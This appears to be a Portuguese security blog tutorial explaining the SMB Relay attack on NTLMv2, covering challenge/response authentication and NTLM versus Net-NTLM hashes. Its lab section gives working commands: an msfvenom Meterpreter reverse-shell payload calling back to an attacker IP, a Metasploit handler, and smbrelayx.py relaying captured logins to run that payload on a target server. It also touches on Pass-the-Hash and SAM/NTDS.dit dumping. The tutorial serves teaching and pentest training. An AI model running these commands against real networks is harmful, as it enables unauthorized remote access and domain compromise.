Entendendo o Ataque SMB Relay – NTLMv2
Fala galera, no post de hoje iremos falar sobre o ataque de SMB Relay, iremos entender como esse ataque ocorre, entender o que é o NTLM, como é o fluxo do ataque e muito mais.
Este ataque é extremamente antigo, por isso você pode estar se perguntando: “Um ataque de mais de 15 anos, por que eu me importaria com ele?”. A resposta é bem simples, ele ainda causa estragos na grande maioria das redes. Então alguém pode ir na sua rede, executar um comando e provavelmente tomar o controle de metade da rede, acabar virando Domain Admin e comprometer todas as coisas que você estava com medo!? Na verdade, a Microsoft tentou corrigir essa falha em 2008 com o MS08-068, porém esse patch só evita que o SMB Relay seja feito utilizando o protocolo NTLMv1, sua versão atual, o NTLMv2 continua funcional e sendo explorada aos montes.
O que Acontece?
O ataque de SMB Relay é um tipo de ataque que atualmente depende da autenticação do NTLMv2 que é usado na maioria das empresas, é uma das vulnerabilidades que realmente ajuda o pentester a comprometer a rede e possuir privilégios administrativos. Essa técnica é confiável, eficaz e quase sempre funciona, mesmo quando a organização possui boas práticas de gerenciamento de patches, o ataque de SMB Relay ainda pode ajudar o atacante a obter recursos críticos.
A maioria das redes possui vários sistemas automatizados que se conectam a todos os hosts da rede para executar várias tarefas de gerenciamento. Por exemplo, sistemas de inventário de software, atualizações de antivírus, backups noturnos, atualizações de software e gerenciamento de patches, backups de desktops, coletores de logs de eventos e outros processos se conectarão rotineiramente a todos os hosts da rede e irão logar com credenciais administrativas para executar suas funções.
Em algumas organizações, sistemas de defesa tentam fazer login em qualquer host que apareça na rede. Esses sistemas geralmente tentam longas listas de credenciais administrativas para tentar acessar o host desconhecido que apareceu misteriosamente na rede. O ataque de SMB Relay nos permite capturar essas tentativas de autenticação e usá-las para acessar outros sistemas na rede.
Protocolo NTLM
O NTLM é um protocolo de desafio/resposta, a autenticação ocorre da seguinte forma: primeiro o cliente tenta fazer o login e o servidor responde com um desafio. De certa maneira o servidor diz: “Se você é quem você diz que é, então criptografe esse desafio X com seu hash”. Em seguida, o cliente criptografa o desafio e envia a resposta do desafio criptografado. Depois o servidor tenta decodificar a resposta do desafio criptografado com o hash de senha do usuário. Se ele conseguir descriptografar o desafio que ele enviou, o usuário será autenticado. Segue abaixo o fluxo da comunicação:
Como Funciona?
No ataque de SMB Relay, o atacante se insere no meio do fluxo acima. O atacante seleciona o servidor alvo que deseja se autenticar e espera que alguém na rede se autentique nele. É aí que hosts de detecção, scanners de vulnerabilidades e os scripts de administração que se autenticam automaticamente nos hosts da rede se tornam os melhores amigos do pentester.
Quando algum desses serviços tentam se conectar ao atacante, ele passa a tentativa de autenticação para o servidor alvo, então o alvo gera um desafio e o envia de volta ao atacante. Por sua vez o atacante envia o desafio de volta ao sistema que originalmente tentou se conectar a ele, em seguida, o sistema de origem criptografa o desafio com o hash do senha e envia para o atacante. Por último o atacante passa a resposta corretamente criptografada de volta ao seu alvo e se autentica com êxito. Embora isso possa parecer complicado, é realmente muito fácil de se explorar. Este processo é mostrado abaixo:
NTLM vs NTLMv1/v2 vs Net-NTLMv1/v2
O NTLM (NT LAN Manager) é um conjunto de protocolos de segurança da Microsoft que fornece autenticação, integridade e confidencialidade aos usuários. O NTLM é o sucessor do protocolo de autenticação Lan Manager (LANMAN) e tenta oferecer compatibilidade com o LANMAN. A segunda versão do NTLM (v2) aumentou a segurança através do amadurecimento do protocolo contra muitos ataques de spoofing e adicionando a capacidade do servidor autenticar o cliente.
O NTLMv1/v2 é uma abreviação de Net-NTLMv1/v2 e portanto os dois são a mesma coisa. No entanto, NTLM (sem v1/v2) significa algo completamente diferente, os hashes NTLM são armazenados no banco Security Account Manager (SAM) e no banco de dados NTDS.dit do controlador de domínio. Eles se parecem com isto:
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
O hash LM é aquele antes do dois pontos e o hash NT é aquele após o dois pontos. O protocolo NTLM usa um ou os dois valores hash da senha, ambos armazenados no servidor sem o uso do salting, o que significa que se você tiver acesso aos hashes você pode se autenticar utilizando a técnica de ‘Pass-The-Hash‘ sem necessariamente saber a senha em si.
Os hashes Net-NTLM são usados para autenticação de rede (eles são derivados de um algoritmo de desafio/resposta e são baseados no hash NT do usuário). Aqui está um exemplo de um hash Net-NTLMv2:
admin :: N46iSNekpT: 08ca45b7d7ea58ee: 88dcbe4446168966a153a0064958dac6: 5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
Concluindo, você pode executar ataques Pass-The-Hash com hashes NTLM. Porém, você NÃO PODE executar ataques Pass-The-Hash com hashes Net-NTLM. Você pode obter os hashes NTLM ao fazer o dump do banco de dados SAM de qualquer sistema operacional Windows ou banco de dados NTDS.dit de um controlador de domínio. Algumas ferramentas irão lhe dar acesso apenas ao hash NT (por exemplo o Mimikatz) mas mesmo não conseguindo a senha em texto claro você ainda pode executar ataques como o Pass-The-Hash que funciona com o hash NT. Já os hashes Net-NTLM (v1/v2),você pode obter utilizando ferramentas como Responder ou Inveigh.
Laboratório
Estamos trabalhando com um cenário bem simples e ao mesmo tempo bem comum, onde temos um servidor Domain Controller na rede (AD), mais alguns servidores como Web, Arquivos e etc. um Firewall e os clientes. Como encontrado em diversas redes por ai, a instalação do Active Directory está default, sem muitas GPOs aplicadas a não ser as mais comuns como política de senha, compartilhamentos e etc.
Nesse ambiente ainda estamos fazendo um hardware a mais, criamos uma GPO chamada “SMB Relay” modificando a opção “Network security: LAN Manager authentication level” para utilizar somente o NTLMv2 (Send NTLMv2 response only. Refuse LM & NTLM), assim temos uma rede “mais segura”. Entretanto isso não garante muita coisa, pois como disse antes, não temos muitas GPOs aplicadas.
Como é mostrado na imagem abaixo o AD não habilita as opções “Microsoft network server: Digitally sign communications (always)” e “Microsoft network client: Digitally sign communications (always)” por padrão, o que faz que os clientes da rede se comuniquem sem assinar os pacotes SMB. O AD só exige por padrão a assinatura de pacotes SMB trocados com o próprio servidor. Isso permite que o atacante possa explorar essa brecha fazendo o SMB Relay entre os demais hosts da rede. No nosso ambiente o alvo será o servidor 10.0.0.99.
Fase de Ataque
Bem, nos iremos precisar de duas ferramentas basicamente, o Impacket desenvolvido pela CoreSecurity e o Metasploit. O Impacket é uma coleção de classes do Python para trabalhar com protocolos de rede. O Impacket permite aos desenvolvedores Python criar e decodificar pacotes de rede de maneira simples e consistente. Sua instalação é bem simples:
# cd /opt
# git clone https://github.com/CoreSecurity/impacket.git
# cd impacket
# pip install ldap3
# python setup.py install
Depois de instalar o Impacket precisamos criar o trojan que será executado no nosso alvo, pra isso iremos utilizar o msfvenom:
# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.4 lport=8080 -f exe -o reverse-smb.exe
Agora precisamos configurar o Metasploit para receber a conexão dos clientes, iremos utilizar o exploit handler para isso:
# msfconsole
msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set lhost 10.0.0.4
msf > set lport 8080
msf > set InitialAutoRunScript post/windows/manage/migrate
msf > exploit
Por fim basta executar o smbrelayx.py para realizar o ataque SMB Relay e esperar alguma rotina automática tentar logar na nossa máquina, esse script é um dos vários que vem no Impacket. A opção -h define o nosso alvo e a opção -e o executável que será executado:
# smbrelayx.py -h 10.0.0.99 -e /root/reverse-smb.exe
Para simular um scanner tentando logar na máquina do atacante iremos utilizar o comando “net use \\10.0.0.4\c$ password /USER:guiadoti.local\admin” da máquina com ip 10.0.0.6 do nosso ambiente como é mostrado na imagem abaixo:
Quando esse comando é executado o ataque é realizado e o trojan é executado na máquina alvo (10.0.0.99) dando o acesso ao host, a imagem abaixo mostra o ataque sendo realizado na máquina do atacante:
Bem pessoal é isso ai, espero que tenham curtido. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos. Não esqueçam de curtir nossas páginas nas redes sociais, Facebook, G+ e seguir o Guia do Ti no Twitter. Compartilhem e comentem esse artigo, isso é muito importante para divulgação do nosso trabalho.
Fontes:
SMB Relay Demystified and NTLMv2 Pwnage
Practical guide to NTLM Relaying
Gostaria de aproveitar e agradecer ao @asolino pela ajuda com o Impacket.
- Metasploit Framework de cabo a rabo – Parte 6 - 4 de junho de 2018
- Metasploit Framework de cabo a rabo – Parte 5 - 28 de maio de 2018
- CEH – Scanning Networks – Parte 2 - 24 de maio de 2018